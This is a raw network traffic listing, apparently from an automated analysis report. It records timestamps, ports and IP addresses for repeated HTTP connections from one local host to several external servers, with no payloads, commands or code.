Sep 11, 2024 22:03:10.994620085 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:10.994632006 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:10.994638920 CEST	49711	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:10.994642973 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:10.994657040 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:10.994662046 CEST	49711	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:10.994669914 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:10.994679928 CEST	49711	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:10.994724035 CEST	49711	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:10.999597073 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:10.999641895 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:10.999654055 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:10.999680996 CEST	49711	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:11.049292088 CEST	49711	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:11.081248999 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:11.081275940 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:11.081362963 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:11.081475019 CEST	49711	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:11.081475019 CEST	49711	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:11.910669088 CEST	49711	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:12.927534103 CEST	49712	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:12.932738066 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:12.932879925 CEST	49712	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:12.934895039 CEST	49712	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:12.939829111 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:13.538608074 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:13.538667917 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:13.538703918 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:13.538749933 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:13.538784027 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:13.538814068 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:13.538846970 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:13.538878918 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:13.538911104 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:13.538921118 CEST	49712	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:13.538921118 CEST	49712	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:13.538948059 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:13.538969994 CEST	49712	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:13.539041042 CEST	49712	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:13.543836117 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:13.543900967 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:13.543935061 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:13.543971062 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:13.543977022 CEST	49712	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:13.544075012 CEST	49712	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:13.640767097 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:13.640805006 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:13.640819073 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:13.641236067 CEST	49712	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:13.643815994 CEST	49712	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:13.648560047 CEST	80	49712	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:19.290463924 CEST	49713	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:19.295568943 CEST	80	49713	91.184.0.111	192.168.2.10
Sep 11, 2024 22:03:19.295658112 CEST	49713	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:19.297724009 CEST	49713	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:19.302648067 CEST	80	49713	91.184.0.111	192.168.2.10
Sep 11, 2024 22:03:19.921907902 CEST	80	49713	91.184.0.111	192.168.2.10
Sep 11, 2024 22:03:19.921993017 CEST	80	49713	91.184.0.111	192.168.2.10
Sep 11, 2024 22:03:19.922112942 CEST	49713	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:20.799472094 CEST	49713	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:21.822494030 CEST	49714	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:21.827776909 CEST	80	49714	91.184.0.111	192.168.2.10
Sep 11, 2024 22:03:21.827893019 CEST	49714	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:21.832238913 CEST	49714	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:21.837368011 CEST	80	49714	91.184.0.111	192.168.2.10
Sep 11, 2024 22:03:22.474281073 CEST	80	49714	91.184.0.111	192.168.2.10
Sep 11, 2024 22:03:22.474526882 CEST	80	49714	91.184.0.111	192.168.2.10
Sep 11, 2024 22:03:22.474600077 CEST	49714	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:23.346399069 CEST	49714	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:24.366425037 CEST	49715	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:24.662954092 CEST	80	49715	91.184.0.111	192.168.2.10
Sep 11, 2024 22:03:24.663149118 CEST	49715	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:24.665750980 CEST	49715	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:24.670763016 CEST	80	49715	91.184.0.111	192.168.2.10
Sep 11, 2024 22:03:24.670875072 CEST	80	49715	91.184.0.111	192.168.2.10
Sep 11, 2024 22:03:25.415575027 CEST	80	49715	91.184.0.111	192.168.2.10
Sep 11, 2024 22:03:25.415776014 CEST	80	49715	91.184.0.111	192.168.2.10
Sep 11, 2024 22:03:25.415863037 CEST	49715	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:26.174576998 CEST	49715	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:27.193115950 CEST	49716	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:27.198112011 CEST	80	49716	91.184.0.111	192.168.2.10
Sep 11, 2024 22:03:27.198227882 CEST	49716	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:27.200853109 CEST	49716	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:27.205774069 CEST	80	49716	91.184.0.111	192.168.2.10
Sep 11, 2024 22:03:27.843063116 CEST	80	49716	91.184.0.111	192.168.2.10
Sep 11, 2024 22:03:27.843163013 CEST	80	49716	91.184.0.111	192.168.2.10
Sep 11, 2024 22:03:27.843431950 CEST	49716	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:27.852202892 CEST	49716	80	192.168.2.10	91.184.0.111
Sep 11, 2024 22:03:27.857146978 CEST	80	49716	91.184.0.111	192.168.2.10
Sep 11, 2024 22:03:33.549061060 CEST	49717	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:33.553972006 CEST	80	49717	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:33.554085970 CEST	49717	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:33.556015015 CEST	49717	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:33.560873985 CEST	80	49717	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:34.587290049 CEST	80	49717	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:34.587312937 CEST	80	49717	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:34.587327957 CEST	80	49717	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:34.587376118 CEST	80	49717	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:34.587404966 CEST	80	49717	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:34.587409019 CEST	49717	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:34.587430954 CEST	80	49717	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:34.587440014 CEST	49717	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:34.587446928 CEST	80	49717	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:34.587464094 CEST	80	49717	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:34.587471962 CEST	49717	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:34.587480068 CEST	80	49717	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:34.587493896 CEST	80	49717	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:34.587523937 CEST	49717	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:34.587548971 CEST	49717	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:34.588038921 CEST	80	49717	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:34.590975046 CEST	49717	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:35.065637112 CEST	49717	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:36.087734938 CEST	49718	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:36.092735052 CEST	80	49718	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:36.092818022 CEST	49718	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:36.094854116 CEST	49718	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:36.099731922 CEST	80	49718	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:37.143892050 CEST	80	49718	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:37.143923998 CEST	80	49718	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:37.143942118 CEST	80	49718	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:37.143956900 CEST	80	49718	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:37.143982887 CEST	80	49718	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:37.143997908 CEST	80	49718	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:37.144015074 CEST	80	49718	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:37.144028902 CEST	80	49718	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:37.144053936 CEST	80	49718	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:37.144072056 CEST	49718	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:37.144107103 CEST	49718	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:37.144121885 CEST	49718	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:37.596472979 CEST	49718	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:38.616827965 CEST	49719	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:38.621962070 CEST	80	49719	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:38.622049093 CEST	49719	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:38.624823093 CEST	49719	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:38.629720926 CEST	80	49719	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:38.629756927 CEST	80	49719	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:39.725352049 CEST	80	49719	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:39.725377083 CEST	80	49719	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:39.725387096 CEST	80	49719	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:39.725397110 CEST	80	49719	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:39.725406885 CEST	80	49719	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:39.725416899 CEST	80	49719	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:39.725428104 CEST	80	49719	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:39.725442886 CEST	80	49719	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:39.725436926 CEST	49719	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:39.725519896 CEST	49719	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:39.725817919 CEST	80	49719	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:39.725857019 CEST	80	49719	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:39.725912094 CEST	49719	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:40.127810001 CEST	49719	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:41.146626949 CEST	49720	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:41.151690006 CEST	80	49720	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:41.151789904 CEST	49720	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:41.153753996 CEST	49720	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:41.158965111 CEST	80	49720	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:42.170047998 CEST	80	49720	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:42.170073986 CEST	80	49720	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:42.170263052 CEST	49720	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:42.173199892 CEST	49720	80	192.168.2.10	193.108.130.23
Sep 11, 2024 22:03:42.178057909 CEST	80	49720	193.108.130.23	192.168.2.10
Sep 11, 2024 22:03:47.893899918 CEST	49721	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:47.899576902 CEST	80	49721	47.239.13.172	192.168.2.10
Sep 11, 2024 22:03:47.899647951 CEST	49721	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:47.902614117 CEST	49721	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:47.907407999 CEST	80	49721	47.239.13.172	192.168.2.10
Sep 11, 2024 22:03:48.831069946 CEST	80	49721	47.239.13.172	192.168.2.10
Sep 11, 2024 22:03:48.831166983 CEST	80	49721	47.239.13.172	192.168.2.10
Sep 11, 2024 22:03:48.831924915 CEST	49721	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:49.408838034 CEST	49721	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:50.427730083 CEST	49722	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:50.432698011 CEST	80	49722	47.239.13.172	192.168.2.10
Sep 11, 2024 22:03:50.432818890 CEST	49722	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:50.434772968 CEST	49722	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:50.439821959 CEST	80	49722	47.239.13.172	192.168.2.10
Sep 11, 2024 22:03:51.334691048 CEST	80	49722	47.239.13.172	192.168.2.10
Sep 11, 2024 22:03:51.334779978 CEST	80	49722	47.239.13.172	192.168.2.10
Sep 11, 2024 22:03:51.334837914 CEST	49722	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:51.940064907 CEST	49722	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:52.958580971 CEST	49723	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:52.964344978 CEST	80	49723	47.239.13.172	192.168.2.10
Sep 11, 2024 22:03:52.967355013 CEST	49723	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:52.969449043 CEST	49723	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:52.974972010 CEST	80	49723	47.239.13.172	192.168.2.10
Sep 11, 2024 22:03:52.975099087 CEST	80	49723	47.239.13.172	192.168.2.10
Sep 11, 2024 22:03:53.999375105 CEST	80	49723	47.239.13.172	192.168.2.10
Sep 11, 2024 22:03:53.999433041 CEST	80	49723	47.239.13.172	192.168.2.10
Sep 11, 2024 22:03:53.999444962 CEST	80	49723	47.239.13.172	192.168.2.10
Sep 11, 2024 22:03:53.999480963 CEST	49723	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:53.999516010 CEST	49723	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:54.471396923 CEST	49723	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:55.489850998 CEST	49724	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:55.494976044 CEST	80	49724	47.239.13.172	192.168.2.10
Sep 11, 2024 22:03:55.495083094 CEST	49724	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:55.497061014 CEST	49724	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:55.502000093 CEST	80	49724	47.239.13.172	192.168.2.10
Sep 11, 2024 22:03:56.395628929 CEST	80	49724	47.239.13.172	192.168.2.10
Sep 11, 2024 22:03:56.395741940 CEST	80	49724	47.239.13.172	192.168.2.10
Sep 11, 2024 22:03:56.395788908 CEST	49724	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:56.398690939 CEST	49724	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:03:56.403521061 CEST	80	49724	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:02.798827887 CEST	49725	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:02.803716898 CEST	80	49725	154.213.157.32	192.168.2.10
Sep 11, 2024 22:04:02.804987907 CEST	49725	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:02.810854912 CEST	49725	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:02.815767050 CEST	80	49725	154.213.157.32	192.168.2.10
Sep 11, 2024 22:04:04.315697908 CEST	49725	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:04.364603996 CEST	80	49725	154.213.157.32	192.168.2.10
Sep 11, 2024 22:04:05.334836006 CEST	49726	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:05.340046883 CEST	80	49726	154.213.157.32	192.168.2.10
Sep 11, 2024 22:04:05.342937946 CEST	49726	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:05.346828938 CEST	49726	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:05.351845026 CEST	80	49726	154.213.157.32	192.168.2.10
Sep 11, 2024 22:04:06.849750996 CEST	49726	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:06.896420956 CEST	80	49726	154.213.157.32	192.168.2.10
Sep 11, 2024 22:04:07.866117001 CEST	49727	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:07.871114016 CEST	80	49727	154.213.157.32	192.168.2.10
Sep 11, 2024 22:04:07.871243000 CEST	49727	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:07.873356104 CEST	49727	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:07.878268003 CEST	80	49727	154.213.157.32	192.168.2.10
Sep 11, 2024 22:04:07.878298044 CEST	80	49727	154.213.157.32	192.168.2.10
Sep 11, 2024 22:04:09.377960920 CEST	49727	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:09.426033020 CEST	80	49727	154.213.157.32	192.168.2.10
Sep 11, 2024 22:04:10.397391081 CEST	49728	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:10.402308941 CEST	80	49728	154.213.157.32	192.168.2.10
Sep 11, 2024 22:04:10.402369976 CEST	49728	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:10.404664993 CEST	49728	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:10.409502029 CEST	80	49728	154.213.157.32	192.168.2.10
Sep 11, 2024 22:04:24.161299944 CEST	80	49725	154.213.157.32	192.168.2.10
Sep 11, 2024 22:04:24.161346912 CEST	49725	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:26.738959074 CEST	80	49726	154.213.157.32	192.168.2.10
Sep 11, 2024 22:04:26.739025116 CEST	49726	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:29.225212097 CEST	80	49727	154.213.157.32	192.168.2.10
Sep 11, 2024 22:04:29.226938009 CEST	49727	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:31.770230055 CEST	80	49728	154.213.157.32	192.168.2.10
Sep 11, 2024 22:04:31.770471096 CEST	49728	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:31.771346092 CEST	49728	80	192.168.2.10	154.213.157.32
Sep 11, 2024 22:04:31.776091099 CEST	80	49728	154.213.157.32	192.168.2.10
Sep 11, 2024 22:04:37.393481016 CEST	49729	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:37.398386002 CEST	80	49729	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:37.398521900 CEST	49729	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:37.402867079 CEST	49729	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:37.407677889 CEST	80	49729	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:38.312841892 CEST	80	49729	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:38.312897921 CEST	80	49729	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:38.312957048 CEST	49729	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:38.909296989 CEST	49729	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:39.927860975 CEST	49730	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:39.932837009 CEST	80	49730	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:39.932912111 CEST	49730	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:39.935009003 CEST	49730	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:39.939857006 CEST	80	49730	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:40.849977016 CEST	80	49730	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:40.849999905 CEST	80	49730	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:40.850212097 CEST	49730	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:41.440372944 CEST	49730	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:42.459584951 CEST	49731	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:42.464648962 CEST	80	49731	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:42.464735031 CEST	49731	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:42.466953993 CEST	49731	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:42.471909046 CEST	80	49731	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:42.471921921 CEST	80	49731	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:43.621826887 CEST	80	49731	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:43.621848106 CEST	80	49731	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:43.622395039 CEST	80	49731	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:43.622662067 CEST	49731	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:43.623411894 CEST	80	49731	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:43.625389099 CEST	49731	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:43.971602917 CEST	49731	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:44.990950108 CEST	49732	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:44.995887041 CEST	80	49732	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:44.997580051 CEST	49732	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:45.001075029 CEST	49732	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:45.005980015 CEST	80	49732	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:45.907720089 CEST	80	49732	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:45.907749891 CEST	80	49732	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:45.907910109 CEST	49732	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:45.910770893 CEST	49732	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:04:45.915637970 CEST	80	49732	47.239.13.172	192.168.2.10
Sep 11, 2024 22:04:50.959475994 CEST	49733	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:50.964469910 CEST	80	49733	91.195.240.19	192.168.2.10
Sep 11, 2024 22:04:50.967417002 CEST	49733	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:50.969106913 CEST	49733	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:50.974016905 CEST	80	49733	91.195.240.19	192.168.2.10
Sep 11, 2024 22:04:51.625551939 CEST	80	49733	91.195.240.19	192.168.2.10
Sep 11, 2024 22:04:51.625576973 CEST	80	49733	91.195.240.19	192.168.2.10
Sep 11, 2024 22:04:51.625710964 CEST	49733	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:52.471692085 CEST	49733	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:53.490304947 CEST	49734	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:53.495522022 CEST	80	49734	91.195.240.19	192.168.2.10
Sep 11, 2024 22:04:53.495865107 CEST	49734	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:53.498609066 CEST	49734	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:53.503391981 CEST	80	49734	91.195.240.19	192.168.2.10
Sep 11, 2024 22:04:54.155144930 CEST	80	49734	91.195.240.19	192.168.2.10
Sep 11, 2024 22:04:54.155338049 CEST	80	49734	91.195.240.19	192.168.2.10
Sep 11, 2024 22:04:54.155381918 CEST	49734	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:55.002871990 CEST	49734	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:56.022305965 CEST	49735	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:56.027709007 CEST	80	49735	91.195.240.19	192.168.2.10
Sep 11, 2024 22:04:56.027789116 CEST	49735	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:56.030184984 CEST	49735	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:56.035068035 CEST	80	49735	91.195.240.19	192.168.2.10
Sep 11, 2024 22:04:56.035134077 CEST	80	49735	91.195.240.19	192.168.2.10
Sep 11, 2024 22:04:56.682657003 CEST	80	49735	91.195.240.19	192.168.2.10
Sep 11, 2024 22:04:56.682750940 CEST	80	49735	91.195.240.19	192.168.2.10
Sep 11, 2024 22:04:56.682828903 CEST	49735	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:57.534899950 CEST	49735	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:58.553343058 CEST	49736	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:58.558320999 CEST	80	49736	91.195.240.19	192.168.2.10
Sep 11, 2024 22:04:58.558485985 CEST	49736	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:58.560761929 CEST	49736	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:58.565660954 CEST	80	49736	91.195.240.19	192.168.2.10
Sep 11, 2024 22:04:59.223208904 CEST	80	49736	91.195.240.19	192.168.2.10
Sep 11, 2024 22:04:59.223361015 CEST	80	49736	91.195.240.19	192.168.2.10
Sep 11, 2024 22:04:59.223467112 CEST	49736	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:59.226921082 CEST	49736	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:04:59.233423948 CEST	80	49736	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:04.713535070 CEST	49737	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:04.718719006 CEST	80	49737	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:04.718806982 CEST	49737	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:04.720838070 CEST	49737	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:04.725590944 CEST	80	49737	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:05.473997116 CEST	80	49737	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:05.474024057 CEST	80	49737	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:05.474036932 CEST	80	49737	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:05.474049091 CEST	80	49737	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:05.474061966 CEST	80	49737	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:05.474073887 CEST	80	49737	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:05.474118948 CEST	49737	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:05.474118948 CEST	49737	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:05.474118948 CEST	49737	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:05.474216938 CEST	80	49737	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:05.474237919 CEST	80	49737	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:05.474250078 CEST	80	49737	198.12.241.35	192.168.2.10
